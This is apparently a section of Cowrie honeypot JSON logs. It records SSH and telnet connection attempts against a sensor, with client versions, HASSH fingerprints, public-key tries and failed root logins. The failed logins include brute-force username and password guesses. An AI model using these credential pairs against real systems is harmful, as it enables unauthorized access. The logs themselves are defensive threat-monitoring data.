-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:22.051962Z","src_ip":"162.254.35.142","session":"e9c20e7853ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blast","password":"blast999","message":"login attempt [blast/blast999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:22.247049Z","src_ip":"162.254.35.142","session":"e9c20e7853ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:23.314448Z","src_ip":"162.254.35.142","session":"e9c20e7853ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":53742,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bd751f5f8fe","protocol":"ssh","message":"New connection: 38.148.249.2:53742 (10.17.0.5:22) [session: 7bd751f5f8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:24.927372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:24.930444Z","src_ip":"38.148.249.2","session":"7bd751f5f8fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:25.000726Z","src_ip":"38.148.249.2","session":"7bd751f5f8fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gj123456","message":"login attempt [root/gj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:25.311685Z","src_ip":"38.148.249.2","session":"7bd751f5f8fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:26.382181Z","src_ip":"38.148.249.2","session":"7bd751f5f8fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":48888,"dst_ip":"159.203.135.109","dst_port":22,"session":"c95e0ce54de6","protocol":"ssh","message":"New connection: 139.19.117.129:48888 (159.203.135.109:22) [session: c95e0ce54de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:37.780370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:37.784740Z","src_ip":"139.19.117.129","session":"c95e0ce54de6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:37.876301Z","src_ip":"139.19.117.129","session":"c95e0ce54de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":64688,"dst_ip":"159.203.135.109","dst_port":22,"session":"ede3493e47f5","protocol":"ssh","message":"New connection: 147.45.199.80:64688 (159.203.135.109:22) [session: ede3493e47f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:37.893626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:37.897184Z","src_ip":"147.45.199.80","session":"ede3493e47f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:37.993453Z","src_ip":"147.45.199.80","session":"ede3493e47f5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:b8:6d:4a:26:21:7e:9e:98:21:39:01:a6:5b:58:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjh43iWyYUMiBhhffdk7NnJYGIOLdUVVBgXg9tOY6CBGUhMVQEv9QFzeMeZUeWZ3uF9EqVbCCeU1HI8DKQ8Sxy9v9eWGohiCeH1VwoeuphkLk9y3pQZ0ipNlyN18MlIEP7tuxJI6TSESB5TiTOZ652fB6JSG9SDZVKy9FF6HrndBfG2SPaC8Eu0c4erbuBNPv+sWFttoJeHro9hYTGvd4ZrjUUAFiDQTtlnyd0SnKv56wSWqmI/bYZ0heAjhpU6YjSdag0nzWbS+Uz0Z5kYwWJUZ+1Je4xjj8SqoRkLKhFCV8KixsYrOBbqQBSy4EUFSehalxQZZJIY0y3v0aiEYsh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:b8:6d:4a:26:21:7e:9e:98:21:39:01:a6:5b:58:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:38.062124Z","src_ip":"139.19.117.129","session":"c95e0ce54de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:b8:6d:4a:26:21:7e:9e:98:21:39:01:a6:5b:58:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjh43iWyYUMiBhhffdk7NnJYGIOLdUVVBgXg9tOY6CBGUhMVQEv9QFzeMeZUeWZ3uF9EqVbCCeU1HI8DKQ8Sxy9v9eWGohiCeH1VwoeuphkLk9y3pQZ0ipNlyN18MlIEP7tuxJI6TSESB5TiTOZ652fB6JSG9SDZVKy9FF6HrndBfG2SPaC8Eu0c4erbuBNPv+sWFttoJeHro9hYTGvd4ZrjUUAFiDQTtlnyd0SnKv56wSWqmI/bYZ0heAjhpU6YjSdag0nzWbS+Uz0Z5kYwWJUZ+1Je4xjj8SqoRkLKhFCV8KixsYrOBbqQBSy4EUFSehalxQZZJIY0y3v0aiEYsh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:38.064971Z","src_ip":"139.19.117.129","session":"c95e0ce54de6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:b8:6d:4a:26:21:7e:9e:98:21:39:01:a6:5b:58:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjh43iWyYUMiBhhffdk7NnJYGIOLdUVVBgXg9tOY6CBGUhMVQEv9QFzeMeZUeWZ3uF9EqVbCCeU1HI8DKQ8Sxy9v9eWGohiCeH1VwoeuphkLk9y3pQZ0ipNlyN18MlIEP7tuxJI6TSESB5TiTOZ652fB6JSG9SDZVKy9FF6HrndBfG2SPaC8Eu0c4erbuBNPv+sWFttoJeHro9hYTGvd4ZrjUUAFiDQTtlnyd0SnKv56wSWqmI/bYZ0heAjhpU6YjSdag0nzWbS+Uz0Z5kYwWJUZ+1Je4xjj8SqoRkLKhFCV8KixsYrOBbqQBSy4EUFSehalxQZZJIY0y3v0aiEYsh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:b8:6d:4a:26:21:7e:9e:98:21:39:01:a6:5b:58:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:38.158398Z","src_ip":"139.19.117.129","session":"c95e0ce54de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:b8:6d:4a:26:21:7e:9e:98:21:39:01:a6:5b:58:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjh43iWyYUMiBhhffdk7NnJYGIOLdUVVBgXg9tOY6CBGUhMVQEv9QFzeMeZUeWZ3uF9EqVbCCeU1HI8DKQ8Sxy9v9eWGohiCeH1VwoeuphkLk9y3pQZ0ipNlyN18MlIEP7tuxJI6TSESB5TiTOZ652fB6JSG9SDZVKy9FF6HrndBfG2SPaC8Eu0c4erbuBNPv+sWFttoJeHro9hYTGvd4ZrjUUAFiDQTtlnyd0SnKv56wSWqmI/bYZ0heAjhpU6YjSdag0nzWbS+Uz0Z5kYwWJUZ+1Je4xjj8SqoRkLKhFCV8KixsYrOBbqQBSy4EUFSehalxQZZJIY0y3v0aiEYsh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:38.160821Z","src_ip":"139.19.117.129","session":"c95e0ce54de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121232","message":"login attempt [root/121232] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:38.290091Z","src_ip":"147.45.199.80","session":"ede3493e47f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:39.391150Z","src_ip":"147.45.199.80","session":"ede3493e47f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.56.160.82","src_port":38432,"dst_ip":"10.17.0.5","dst_port":22,"session":"83150000c0ac","protocol":"ssh","message":"New connection: 218.56.160.82:38432 (10.17.0.5:22) [session: 83150000c0ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:44.796336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:44.798976Z","src_ip":"218.56.160.82","session":"83150000c0ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:45.043942Z","src_ip":"218.56.160.82","session":"83150000c0ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Z123456z","message":"login attempt [root/Z123456z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:46.061205Z","src_ip":"218.56.160.82","session":"83150000c0ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58556,"dst_ip":"159.203.135.109","dst_port":23,"session":"d446f8e1ea47","protocol":"telnet","message":"New connection: 170.64.224.25:58556 (159.203.135.109:23) [session: d446f8e1ea47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:46.847875Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:47.312900Z","src_ip":"218.56.160.82","session":"83150000c0ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:27:47.781654Z","src_ip":"139.19.117.129","session":"c95e0ce54de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":37620,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cf144fbe14e","protocol":"ssh","message":"New connection: 209.99.190.200:37620 (10.17.0.5:22) [session: 8cf144fbe14e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:01.288091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:01.292346Z","src_ip":"209.99.190.200","session":"8cf144fbe14e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:01.388793Z","src_ip":"209.99.190.200","session":"8cf144fbe14e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456abcd","message":"login attempt [root/123456abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:01.812732Z","src_ip":"209.99.190.200","session":"8cf144fbe14e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":100.7236099243164,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:02.508651Z","src_ip":"170.64.224.25","session":"0a76d3eddbe8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:02.913357Z","src_ip":"209.99.190.200","session":"8cf144fbe14e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":44192,"dst_ip":"10.17.0.5","dst_port":22,"session":"000ec5d31c1f","protocol":"ssh","message":"New connection: 143.20.185.207:44192 (10.17.0.5:22) [session: 000ec5d31c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:03.668242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:03.671993Z","src_ip":"143.20.185.207","session":"000ec5d31c1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:03.787090Z","src_ip":"143.20.185.207","session":"000ec5d31c1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS#8VCPU16GBAMD","message":"login attempt [root/RASYAXINSAVPS#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:04.133940Z","src_ip":"143.20.185.207","session":"000ec5d31c1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:05.248492Z","src_ip":"143.20.185.207","session":"000ec5d31c1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":65098,"dst_ip":"10.17.0.5","dst_port":22,"session":"6caaa6ae2309","protocol":"ssh","message":"New connection: 109.91.4.177:65098 (10.17.0.5:22) [session: 6caaa6ae2309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:07.874894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:28:07.877708Z","src_ip":"109.91.4.177","session":"6caaa6ae2309","protocol":"ssh"}
